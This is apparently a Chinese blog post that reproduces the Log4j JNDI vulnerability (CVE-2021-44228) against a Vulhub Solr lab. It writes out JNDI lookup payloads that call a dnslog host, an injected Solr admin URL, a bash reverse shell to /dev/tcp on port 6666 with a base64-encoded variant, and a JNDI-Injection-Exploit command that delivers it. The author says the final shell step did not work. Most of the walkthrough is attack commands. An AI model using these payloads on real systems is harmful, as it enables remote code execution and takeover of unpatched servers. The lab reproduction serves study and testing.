VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了,环境搭建不讲,网上其他文章很好。

访问该环境:

POC

构造(任选其一):

bash 复制代码
 ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}

我是用了yakit生成了一个可用域名,当然直接去dnslog平台生成也可以,但是我用习惯这个地方了,还是相当好用的一款国产化漏洞挖掘集成器。

访问:

bash 复制代码
http://192.168.220.142:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.rsjlpxqral.dgrh3.cn}

访问之后出现一条dnslog日志:

并且知道了java的版本是1.8.0_102

因为poc里面加了一个查看java版本的命令${sys:java.version},所以讲java版本结果回显在dnslog上面来了。

下面说怎么反弹shell操作:

bash 复制代码
bash -i >& /dev/tcp/192.168.220.142/6666 0>&1

意思是把shell回弹到/192.168.220.142/6666地方

bash编码一下:https://www.sqlsec.com/rce/

bash 复制代码
bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNDIvNjY2NyAwPiYx}|{base64, -d}|{bash, -i}

下载利用工具:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

使用命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNDIvNjY2NyAwPiYx}|{base64, -d}|{bash, -i}" -A "http://192.168.220.142/" -C是编码后的内容,-A是反弹shell的ip地址。

注意要先nc监听6666端口

如上图访问

bash 复制代码
http://192.168.220.142:8983/solr/admin/cores?action=${jndi:ldap://192.168.220.142:1099/eftobp}

额 不知道为啥子没成功。。。。。

然后看了看其他人的文章发现:

就这样吧,反正搞懂了过程,也知道实战中怎么利用了。

而且我的环境是java1.8,真搞不懂

下面来看下原理吧:

bash 复制代码
Log4j→Log for Java,Apache的开源日志记录组件

JDK→1.8u21以下的版本

看这篇文章吧直接:https://blog.csdn.net/FisrtBqy/article/details/130680143

相关推荐
吧啦蹦吧1 天前
org.springframework.context.ApplicationListener
log4j
七夜zippoe3 天前
Agent 网关设计:统一入口、智能路由与负载均衡
运维·ai·log4j·负载均衡·agent·网关设计
汤姆宝库8 天前
推理时计算深拆:思维链、验证搜索与测试时Scaling
log4j
神一样的老师15 天前
WS63 嵌入式 SSD1306 OLED 驱动单元测试实战
单元测试·log4j
silvamux_17 天前
大模型 API 单元测试怎么 mock 不误伤
单元测试·log4j·php
system_error_x18 天前
自动化常规代码辅助系统
运维·自动化·log4j
看浪的路人18 天前
第10讲:大模型应用测试——从单元测试到 E2E 评测的完整体系
log4j
草莓熊Lotso20 天前
【C++ 基于微服务的即时通讯系统】基建三件套:gflags + gtest + spdlog 源码编译安装与实战入门
linux·网络·数据库·c++·微服务·log4j
j7~21 天前
【C++ 标准项目】发布订阅消息队列 (篇七):项目创建与基础工具模块搭建
开发语言·c++·log4j·uuid·protobuf·helper工具·消息定义类型和交换机类型定义
楚楚25122 天前
2026最新6款Cursor平替AI编程工具深度实测对比
log4j